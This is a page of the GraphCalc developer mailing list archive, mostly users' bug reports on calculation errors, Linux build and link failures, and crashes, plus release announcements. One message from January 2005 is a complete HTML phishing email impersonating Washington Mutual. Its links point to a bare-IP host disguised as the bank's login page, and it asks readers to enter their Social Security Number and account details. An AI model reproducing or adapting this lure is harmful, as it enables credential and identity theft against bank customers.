gcalc-devel Mailing List for GraphCalc (Page 19)
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From: Ryan W. <ry...@ch...> - 2005-02-21 19:56:08
|
I tried to find the area between these two equations: y1: x*lnx and y2: = 0 between x=3D0.5 and x=3D2 and the answer was incorrect. GraphCalc = somehow did the area between the two equations from x=3D1 to x=3D2 and = then subtracted the area between the two equations from x=3D0.5 to = x=3D1. For some clarification, the graph of x*lnx has a negative y value = between x=3D0.5 and x=3D1 and a positive y value between x=3D1 and = x=3D2; GraphCalc did the area of the positive y section and subtracted = the area of the area of the negative y section when it should have added = the two for the total area of the section between the equations. It should be 0.636 (the area between x=3D1 and x=3D2) + 0.101 (the area = between x=3D0.5 and x=3D1) to give a solution of 0.737, but GraphCalc = did 0.636 - 0.101 to give a solution of 0.535. Ryan White ry...@ch... |
From: Filipe M. <fm...@gm...> - 2005-02-07 09:47:38
|
I know the linux version is nowhere near stable, but still i think it's =20 still worth it to point out bugs. I found out that -lGL is missing from the LIBS line of graphcalc.pro. Keep up the great work and thanks for the linux effort. --=20 All generalizations are false, including this one. -- Mark Twain |
From: Carter <jct...@ac...> - 2005-01-10 22:09:21
|
Hello! I opened up GraphCalc twice in Version 4.0.1 with Windows XP Home = Edition, and the program tabs and button descriptions on the Output = calculator are really short length-wise . The unrelated dialog boxes = (e.g. Equation Solver, Mode, etc.) don't have any letters on their = buttons, and while I had Help open, the common start-bar (system tray?) = icon for GraphCalc and Help had a white outline all the way around it, = instead of half black and half white (not a big problem). I found no = problems with the two graphing calculators themselves, though I may not = have looked hard enough. I had just copied JDSecure20.exe and other = files in C:\JDSecure (files for a 256MB "generic volume Lexar JumpDrive = Secure USB mass storage device") onto the actual JumpDrive to upload = them somewhere else. I don't know if this could have anything to do with = it or not. The operations in Output don't show but they operate. I've = never heard of anything like this. Thanks for your time, Chris |
From: Wamu O. B. <cus...@wa...> - 2005-01-06 13:55:22
|
<html> <head> <meta http-equiv=3D"Content-Language" content=3D"en-us"> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dwindows= -1252"> <title>Dear Washington Mutual customer</title> </head> <body> <p><a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/= logon/logon.asp/login.php"> <img border=3D"0" src=3D"http://www.wamu.com/images/wamucom_logo_blue.gif= " width=3D"313" height=3D"42"></a></p> <p><font face=3D"Verdana" size=3D"2">Dear <b>Washington Mutual</b> custom= er,</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">We recently review= ed your=20 account, and suspect that your<b> <a href=3D"http://61.220.179.147/~eric/= secure/login.personal.wamu.com/logon/logon.asp/login.php"> Washington Mutual Internet Banking</a></b> account may have been accessed= by an=20 unauthorized third party.<br> Protecting the security of your account and of the <b> <a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/log= on/logon.asp/login.php">Washington Mutual</a> </b>network is=20 our primary concern. Therefore, as a preventative measure, we have tempor= arily=20 limited access to sensitive account features.</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">To restore your ac= count access=20 , please take the following steps to ensure that your account has not bee= n=20 compromised:</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">1. Login to your <a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/log= on/logon.asp/login.php"><b>Washington Mutual</b> <b>Internet=20 Banking</b></a> account. In case you are not enrolled yet for Internet Ba= nking,=20 you will have to use your Social Security Number as both your Personal ID= and=20 Password and fill in the required information, including your name and ac= count=20 number.</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">2. Review your rec= ent account=20 history for any unauthorized withdrawals or deposits, and check your acco= unt=20 profile to make sure no changes have been made. If any unauthorized activ= ity has=20 taken place on your account, report to <b> <a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/log= on/logon.asp/login.php">Washington Mutual</a></b> staff=20 immediately. </font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">To get started, pl= ease click=20 the link below: </font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2"> <a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/log= on/logon.asp/login.php"> https://login.personal.wamu.com/logon/logon.asp?dd=3D1</a> </font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">We apologize for a= ny=20 inconvenience this may cause, and appreciate your assistance in helping u= s=20 maintain the integrity of the entire <b>Washington Mutual</b> system. Tha= nk your=20 for your prompt attention to this matter.</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">Sincerely, </font>= </p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">The <b> <a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu.com/log= on/logon.asp/login.php">Washington Mutual</a></b> Team.</font></p> <p align=3D"justify"><font face=3D"Verdana" size=3D"2">Please do not repl= y to this=20 email. Mails sent to thi address cannot be answered. For assistance, log = in to=20 your <b><a href=3D"http://61.220.179.147/~eric/secure/login.personal.wamu= .com/logon/logon.asp/login.php">Washington Mutual</a></b>=20 account and choose the "Help" link in the header of any page.</font></p> </body> </html> |
From: Andy S. <and...@gm...> - 2005-01-06 13:01:02
|
back when i used windows i used graphcalc all the time but now that i've switched to linux i cant get it working. here's the errer i ger trying to compile. g++ -Wl,-rpath,/usr/qt/3/lib -o graphcalc .obj/main.o .obj/expression.o .obj/graph2d.o .obj/graph3d.o .obj/results3d.o .obj/mainform.o .obj/about.o .obj/graph2doptions.o .obj/graph3doptions.o .obj/graph3drendermodes.o .obj/outputmode.o .obj/qmake_image_collection.o .obj/moc_graph3d.o .obj/moc_mainform.o .obj/moc_about.o .obj/moc_graph2doptions.o .obj/moc_graph3doptions.o .obj/moc_graph3drendermodes.o .obj/moc_outputmode.o -L/usr/qt/3/lib -L/usr/X11R6/lib -L/usr/lib -L/usr/kde/3.2/lib -lginac -lcln -lgmp -lkdeui -lGL -lqt -lXext -lX11 -lm /usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.4/../../../../i686-pc-linux-gnu/bin/ld: cannot find -lkdeui collect2: ld returned 1 exit status make: *** [graphcalc] Error 1 my system is gentoo kde 3.3.2 qt 3.3.3 ginac (whatever is newest, it doesnt look like the problem) gnu make 3.80 gcc 3.3.4 qmake 1.07a have you ever seen this, or know how to fix it? |
From: Jarrett B. <kb...@ya...> - 2004-12-19 15:30:09
|
Sorry to mail you two bugs in ten minutes, but I forgot to put this one in my last email :) If I type in the equation sin(x)^3, I would expect to get the cube of the sine of x. But instead I get the sine of x^3. I have to force precedence of the sin() by typing (sin(x))^3. This also happens with other trig functions (and probably with other functions as well). I don't know if you intended for it to be that way, but I'm just used to typing that in on graphing calculators and getting a different result. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail |
From: Jarrett B. <kb...@ya...> - 2004-12-19 15:21:57
|
I'm using 4.0.1 (the newest version). My name and email address should be attached to the email ;) This is on winXP pro. How to recreate it: 1. Go into a 2D graphing mode (there is no Trace in 3D). 2. Enter an equation and turn it on. 3. Trace the function, and LEAVE TRACE MODE ON. 4. Without unchecking the equation, delete the expression from the box and hit enter. Voila. Endless "Please enter an equation first!" boxes. I can only close it through the task manager. Also, do you think it'd be possible to add a trace type-in? It's tedious to have to use the function evaluator to find the value at a certain coordinate. Shift+Arrows for faster trace movement would be nice too. :) __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail |
From: <joe...@hv...> - 2004-11-27 16:53:22
|
Hi! I use GraphCalc 4.0.1 with Windows XP Pro SP2 (de) on a P4 2,4 with a Matrox Parhelia graphic card using the latest stable drivers. When I switch to 3D Graph I see a black screen with 3 colored axes which I can rotate and zoom. Then I choose 3D Graph -> Equations in the menu, check "z1(x,y)=" and enter something like "1" or "x+y". Then a progress bar counts to 100% an GraphCalc shuts down :( Thx in advance, Joerg Ludwig |
From: Andro <and...@gm...> - 2004-11-26 10:16:21
|
Hey, after i start make, there is the output i get : g++ -Wl,-rpath,/usr/qt/3/lib -o graphcalc .obj/main.o .obj/expression.o .obj/graph2d.o .obj/graph3d.o .obj/mainform.o .obj/about.o .obj/graph2doptions.o .obj/graph3doptions.o .obj/graph3drendermodes.o .obj/outputmode.o .obj/qmake_image_collection.o .obj/moc_graph3d.o .obj/moc_mainform.o .obj/moc_about.o .obj/moc_graph2doptions.o .obj/moc_graph3doptions.o .obj/moc_graph3drendermodes.o .obj/moc_outputmode.o -L/usr/qt/3/lib -L/usr/X11R6/lib -L/usr/lib -L/usr/kde/3.1/lib -lginac -lcln -lgmp -lqt -lXext -lX11 -lm .obj/graph3d.o(.text+0x3ce): In function `graph3d::initializeGL()': : undefined reference to `glMatrixMode' .obj/graph3d.o(.text+0x3d3): In function `graph3d::initializeGL()': : undefined reference to `glLoadIdentity' .obj/graph3d.o(.text+0x3df): In function `graph3d::initializeGL()': : undefined reference to `glMatrixMode' .obj/graph3d.o(.text+0x3e4): In function `graph3d::initializeGL()': : undefined reference to `glLoadIdentity' .obj/graph3d.o(.text+0x3f0): In function `graph3d::initializeGL()': : undefined reference to `glDrawBuffer' .obj/graph3d.o(.text+0x3fc): In function `graph3d::initializeGL()': : undefined reference to `glEnable' .obj/graph3d.o(.text+0x408): In function `graph3d::initializeGL()': : undefined reference to `glShadeModel' .obj/graph3d.o(.text+0x412): In function `graph3d::initializeGL()': : undefined reference to `glClearDepth' .obj/graph3d.o(.text+0x79c): In function `graph3d::paintGL()': : undefined reference to `glClear' .obj/graph3d.o(.text+0x7a8): In function `graph3d::paintGL()': : undefined reference to `glClear' .obj/graph3d.o(.text+0x7c5): In function `graph3d::paintGL()': : undefined reference to `glClearColor' .obj/graph3d.o(.text+0x7d1): In function `graph3d::paintGL()': : undefined reference to `glClear' .obj/graph3d.o(.text+0x7e6): In function `graph3d::paintGL()': : undefined reference to `glPolygonMode' .obj/graph3d.o(.text+0x7eb): In function `graph3d::paintGL()': : undefined reference to `glPushMatrix' .obj/graph3d.o(.text+0x7f0): In function `graph3d::paintGL()': : undefined reference to `glLoadIdentity' .obj/graph3d.o(.text+0x812): In function `graph3d::paintGL()': : undefined reference to `glTranslatef' .obj/graph3d.o(.text+0x830): In function `graph3d::paintGL()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0x84e): In function `graph3d::paintGL()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0x86c): In function `graph3d::paintGL()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0x8de): In function `graph3d::paintGL()': : undefined reference to `glCallList' .obj/graph3d.o(.text+0x8ec): In function `graph3d::paintGL()': : undefined reference to `glCallList' .obj/graph3d.o(.text+0x900): In function `graph3d::paintGL()': : undefined reference to `glCallList' .obj/graph3d.o(.text+0x914): In function `graph3d::paintGL()': : undefined reference to `glCallList' .obj/graph3d.o(.text+0x939): In function `graph3d::paintGL()': : undefined reference to `glNewList' .obj/graph3d.o(.text+0x95c): In function `graph3d::paintGL()': : undefined reference to `glLineWidth' .obj/graph3d.o(.text+0x968): In function `graph3d::paintGL()': : undefined reference to `glBegin' .obj/graph3d.o(.text+0x97c): In function `graph3d::paintGL()': : undefined reference to `glColor3f' .obj/graph3d.o(.text+0x990): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0x9a0): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0x9b4): In function `graph3d::paintGL()': : undefined reference to `glColor3f' .obj/graph3d.o(.text+0x9c8): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0x9d8): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0x9ec): In function `graph3d::paintGL()': : undefined reference to `glColor3f' .obj/graph3d.o(.text+0xa00): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0xa12): In function `graph3d::paintGL()': : undefined reference to `glVertex3f' .obj/graph3d.o(.text+0xa17): In function `graph3d::paintGL()': : undefined reference to `glEnd' .obj/graph3d.o(.text+0xa1c): In function `graph3d::paintGL()': : undefined reference to `glEndList' .obj/graph3d.o(.text+0xadc): In function `graph3d::paintGL()': : undefined reference to `glNewList' .obj/graph3d.o(.text+0xaff): In function `graph3d::paintGL()': : undefined reference to `glLineWidth' .obj/graph3d.o(.text+0xb25): In function `graph3d::paintGL()': : undefined reference to `glBegin' .obj/graph3d.o(.text+0xb41): In function `graph3d::paintGL()': : undefined reference to `glColor3f' .obj/graph3d.o(.text+0xb9d): In function `graph3d::paintGL()': : undefined reference to `glVertex3d' .obj/graph3d.o(.text+0xbc8): In function `graph3d::paintGL()': : undefined reference to `glEnd' .obj/graph3d.o(.text+0xc15): In function `graph3d::paintGL()': : undefined reference to `glBegin' .obj/graph3d.o(.text+0xc31): In function `graph3d::paintGL()': : undefined reference to `glColor3f' .obj/graph3d.o(.text+0xc85): In function `graph3d::paintGL()': : undefined reference to `glVertex3d' .obj/graph3d.o(.text+0xca5): In function `graph3d::paintGL()': : undefined reference to `glEnd' .obj/graph3d.o(.text+0xcd4): In function `graph3d::paintGL()': : undefined reference to `glEndList' .obj/graph3d.o(.text+0xd75): In function `graph3d::resizeGL(int, int)': : undefined reference to `glViewport' .obj/graph3d.o(.text+0xd81): In function `graph3d::resizeGL(int, int)': : undefined reference to `glMatrixMode' .obj/graph3d.o(.text+0xd86): In function `graph3d::resizeGL(int, int)': : undefined reference to `glLoadIdentity' .obj/graph3d.o(.text+0xdcc): In function `graph3d::resizeGL(int, int)': : undefined reference to `glFrustum' .obj/graph3d.o(.text+0x1215): In function `graph3d::zoomStandard()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0x122f): In function `graph3d::zoomStandard()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0x1249): In function `graph3d::zoomStandard()': : undefined reference to `glRotatef' .obj/graph3d.o(.text+0xdd9): In function `graph3d::resizeGL(int, int)': : undefined reference to `glMatrixMode' collect2: ld returned 1 exit status make: *** [graphcalc] Error 1 I have all required libraries, and qmake works. But make doesn't. Any ideas ? Thanks |
From: Jason W. <jas...@gm...> - 2004-11-18 04:33:52
|
The Convert menu and help don't work if the working directory is not the directory where GrphCalc.exe exists (i.e. where it can find the help file and constants file). I'm using GraphCalc 4.0.1 under Windows XP SP2. I initially observed this when binding the "Calculator" button on my MS keyboard to run GraphCalc. Then I debugged the problem by setting the "Start In" directory of GraphCalc shortcut to be "C:\" - so the problem is related to the working directory. Regards, Jason Jas...@gm... |
From: Michael M. <pri...@gm...> - 2004-10-24 04:06:05
|
Information: Name: Michael May Version: 4.0.1 OS: Windows 2000 w/ SP4 When having multiple negative operators on the same line you shouldn't be able to have the equation be calculated out, there should be an error message. I'll put the test cases here to show my point: 7---2 = 9 7-------2 = 9 7*-----6 = -42 8/-------3 = -2.66666666666667 2+-----5 = -3 4+-2 = 2 4-------+---5 = 9 5----*/+6 = 11 7-------+*/*-6 = 13 8---****////---*4 = 12 9*----+-+---5 = -45 2*2-----*/****+-1 = 5 ans------6+3 = 14 5---++++++++-*/*/***-**15 = 20 It appears that if you have more than one negative sign following the first operand or the first operand and operator (9*), you can put whatever you want. I want a reply to this though, also to be added to mailing list. |
From: Beaini, R. \(RBEAINI\) <RB...@ar...> - 2004-09-16 00:23:11
|
When I try to do permutations of large numbers, I get an overflow. Ex: 365npr20 What I was expecting was that the answer be converted to a double and displayed. I would like to mention that my TI-83 returns a double. I would also like to mention that if I did an operation like 365^20 it would return a double. Thanks, Ramsey Beaini |
From: vivek s. <viv...@ya...> - 2004-09-05 22:47:57
|
"when i try to plot contineous circuler OR spherical serfaces the serfaces are choppy near the axes.I do this by xyz system I cant get contineous serfaces this not a problem when i do this with poler system" so plz do something so that it bcome more useful. I also want to know that is there any update available for this software ? thanks! --------------------------------- Do you Yahoo!? Win 1 of 4,000 free domain names from Yahoo! Enter now. |
From: <ben...@id...> - 2004-05-22 13:31:54
|
Dear Open Source developer I am doing a research project on "Fun and Software Development" in which I kindly invite you to participate. You will find the online survey under http://fasd.ethz.ch/qsf/. The questionnaire consists of 53 questions and you will need about 15 minutes to complete it. With the FASD project (Fun and Software Development) we want to define the motivational significance of fun when software developers decide to engage in Open Source projects. What is special about our research project is that a similar survey is planned with software developers in commercial firms. This procedure allows the immediate comparison between the involved individuals and the conditions of production of these two development models. Thus we hope to obtain substantial new insights to the phenomenon of Open Source Development. With many thanks for your participation, Benno Luthiger PS: The results of the survey will be published under http://www.isu.unizh.ch/fuehrung/blprojects/FASD/. We have set up the mailing list fa...@we... for this study. Please see http://fasd.ethz.ch/qsf/mailinglist_en.html for registration to this mailing list. _______________________________________________________________________ Benno Luthiger Swiss Federal Institute of Technology Zurich 8092 Zurich Mail: benno.luthiger(at)id.ethz.ch _______________________________________________________________________ |
From: Brendan C. F. <fea...@ad...> - 2004-05-22 03:02:24
|
it seems to be an order of operations issue. if you try the following it w= orks OK (-18)(Celsius->Fahrenheit) =3D -0.4 Note i put parenthesis around the -18. From: Michael Greaney Sent: Fri 5/21/04 8:54 To: gca...@li... Subject: [Gcalc-devel] Possible conversion error in Graph Calc There seems to be an error in converting degrees Celsius to degrees Fahrenh= eit and vice versa. The problem arises when converting temperatures below z= ero. The program seems to convert the absolute value and then negates it. F= or example the program converts 18 degrees C to 64.4 degrees F, which is co= rrect, but it converts -18 deg C to -64.4 deg F instead of 0.04 deg F. Like= wise 18 deg F converts to -7.77 deg C, but converts -18 deg F to 7.77 deg C= instead of -27.77 deg C. I am running the program under Windows XP home edition, upgraded to SP1. Michael Greaney=20 mi...@ho... |
From: Michael G. <mi...@ho...> - 2004-05-21 23:46:54
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There seems to be an error in converting degrees Celsius to degrees = Fahrenheit and vice versa. The problem arises when converting = temperatures below zero. The program seems to convert the absolute value = and then negates it. For example the program converts 18 degrees C to = 64.4 degrees F, which is correct, but it converts -18 deg C to -64.4 deg = F instead of 0.04 deg F. Likewise 18 deg F converts to -7.77 deg C, but = converts -18 deg F to 7.77 deg C instead of -27.77 deg C. I am running the program under Windows XP home edition, upgraded to SP1. Michael Greaney=20 mi...@ho... |
From: Donal M. <don...@pa...> - 2004-01-27 09:20:25
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I f orgot to give the following: OS Windows 98 Graphcalc v4.0 dm |
From: Donal M. <don...@pa...> - 2004-01-27 09:17:08
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Hello, I tried to graph the following equation into Graphcalc, but it would not recognise and graph it. In the RH window I could type it in as y6 I think but when I tried to check it, the check disappeared as soon as the cursor moved off the check box. Also I copied and pasted the equation over to Graphmatica software and it graphed OK. The equation which I got from a civil engineering reference book is: y=a/2*(exp^(x/a)+exp^-(x/a). I tried various values for constant 'a', and they were all OK for Graphmatica. Regards DM |
From: Dr. A. C. <and...@in...> - 2003-11-29 08:31:35
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<html> <body> <br> Hi,<br><br> I got a reply from you, but somehow I lost your message during downloading from the server. Could you resend it? Thanks and sorry for trouble<br><br> ========================================= <ul> <li>Your version of GraphCalc (see about:help) - ver.4.0 <li>Your name and email address so we can follow up with you - dr. Andrzej Cichy and...@in... <li>The Operating System on which you're running GraphCalc - XP Pro <li>Is the error recreatable or seemingly random? If it's recreatable, how is it recreated? </ul><br> I don't know if it's your bug or XP bug. I am running GraphCalc on XP Pro. I wanted to use shortcut Ctrl+C for copying a function's definition in Graph Options==> Equations tab dialog box. It does not work. Of course, right-click Copy command works properly. Since I am used to using the keyboard shorcuts it's a little bit inconvenient for me.<br><br> Regards<br><br> <ul> <li>What is the error message, or unexpected behavoir? </ul>No error message. It just does not work <ul> <li>What were you expecting? Maybe this behavior was by design. </ul>I was expecting to use ctrl_C and ctrl+V like in the normal text boxes.<br><br> Dr. Andrzej Cichy<br> and...@in...<br> Int'l American School<br> Warszawa Polska </body> </html> |
From: Mike A. <ar...@gr...> - 2003-11-25 01:39:15
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Hello, GraphCalc v4.0.1 has been released for Windows. This version addresses two bugs reported on the gcalc-users mailing list. First, a bug reported by Loll about decimal points not being saved has been fixed. Also, a major computation error was discovered in the standard deviation and variance function. This has also been remedied. Thanks to everybody for their great feedback. -Mike Arrison GraphCalc |
From: Mike A. <ar...@gr...> - 2003-11-19 18:41:59
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Dr. Cichy, Thanks for the detailed explanation. I've been meaning to file this as a bug for a long time. I'll put it in the records now and see if I can get to it. -Mike Arrison On Wed, Nov 19, 2003 at 04:19:39PM +0100, Dr. Andrzej Cichy wrote: > Hi, > * Your version of GraphCalc (see about:help) - ver.4.0 > * Your name and email address so we can follow up with you - dr. > Andrzej Cichy and...@in... > * The Operating System on which you're running GraphCalc - XP Pro > * Is the error recreatable or seemingly random? If it's recreatable, > how is it recreated? >=20 > I don't know if it's your bug or XP bug. I am running GraphCalc on XP > Pro. I wanted to use shortcut Ctrl+C for copying a function's > definition in Graph Options=3D=3D> Equations tab dialog box. It does n= ot > work. Of course, right-click Copy command works properly. Since I am > used to using the keyboard shorcuts it's a little bit inconvenient for > me. > Regards > * What is the error message, or unexpected behavoir? >=20 > No error message. It just does not work > * What were you expecting? Maybe this behavior was by design. >=20 > I was expecting to use ctrl_C and ctrl+V like in the normal text > boxes. > Dr. Andrzej Cichy > and...@in... > Int'l American School > Warszawa Polska > ------------------------------------------------------- This SF.net > email is sponsored by: SF.net Giveback Program. Does SourceForge.net > help you be more productive? Does it help you create better code? > SHARE THE LOVE, and help us help YOU! Click Here: > http://sourceforge.net/donate/ > _______________________________________________ Gcalc-devel mailing > list Gca...@li... > https://lists.sourceforge.net/lists/listinfo/gcalc-devel |
From: Dr. A. C. <and...@in...> - 2003-11-19 15:19:46
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<html> <body> <br> Hi,<br><br> <ul> <li>Your version of GraphCalc (see about:help) - ver.4.0 <li>Your name and email address so we can follow up with you - dr. Andrzej Cichy and...@in... <li>The Operating System on which you're running GraphCalc - XP Pro <li>Is the error recreatable or seemingly random? If it's recreatable, how is it recreated? </ul><br> I don't know if it's your bug or XP bug. I am running GraphCalc on XP Pro. I wanted to use shortcut Ctrl+C for copying a function's definition in Graph Options==> Equations tab dialog box. It does not work. Of course, right-click Copy command works properly. Since I am used to using the keyboard shorcuts it's a little bit inconvenient for me.<br><br> Regards<br><br> <ul> <li>What is the error message, or unexpected behavoir? </ul>No error message. It just does not work <ul> <li>What were you expecting? Maybe this behavior was by design. </ul>I was expecting to use ctrl_C and ctrl+V like in the normal text boxes.<br><br> Dr. Andrzej Cichy<br> and...@in...<br> Int'l American School<br> Warszawa Polska</body> </html> |
From: Mike A. <ar...@gr...> - 2003-11-04 03:29:04
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Hello, After two years of on-again, off-again work, GraphCalc 4.0 has finally been released. Have fun: http://www.graphcalc.com -Mike Arrison |
From: Mike A. <ar...@gr...> - 2003-10-12 21:34:54
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Manu, This is not a bug. GraphCalc only supports the graphing of functions. x=3D5 is not a function in the normal sense. What happens when you say x=3D5, is GraphCalc is assigning the value of 5 to a user defined constant named x. The result of this assignment is the number 5. So y=3Dx=3D5 simplifies to y=3D5 and yields the horizontal l= ine that you see. I'm afraid you will be unable to graph a vertical line with GraphCalc as it is not a function. -Mike Arrison On Sun, Oct 12, 2003 at 11:16:24PM +0200, manudea wrote: > I have just submitted what I believe it is a bug in the program. >=20 > http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D822366&group= _id=3D737 > 29&atid=3D538763 >=20 > The graph of the x=3D<const> is treated as it would be=20 > y=3D<const>... >=20 > Sample: > x=3D5 and y=3D5 give the very same graph. > I'm using 3.1b version >=20 > Anybody experienced the same problem? > I'm missing something? I'm expecting 2 perpendicular lines... >=20 > How I can make a vertical line? |
From: manudea <ma...@du...> - 2003-10-12 21:16:48
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I have just submitted what I believe it is a bug in the program. http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D822366&group= _id=3D737 29&atid=3D538763 The graph of the x=3D<const> is treated as it would be=20 y=3D<const>... Sample: x=3D5 and y=3D5 give the very same graph. I'm using 3.1b version Anybody experienced the same problem? I'm missing something? I'm expecting 2 perpendicular lines... How I can make a vertical line? Manu |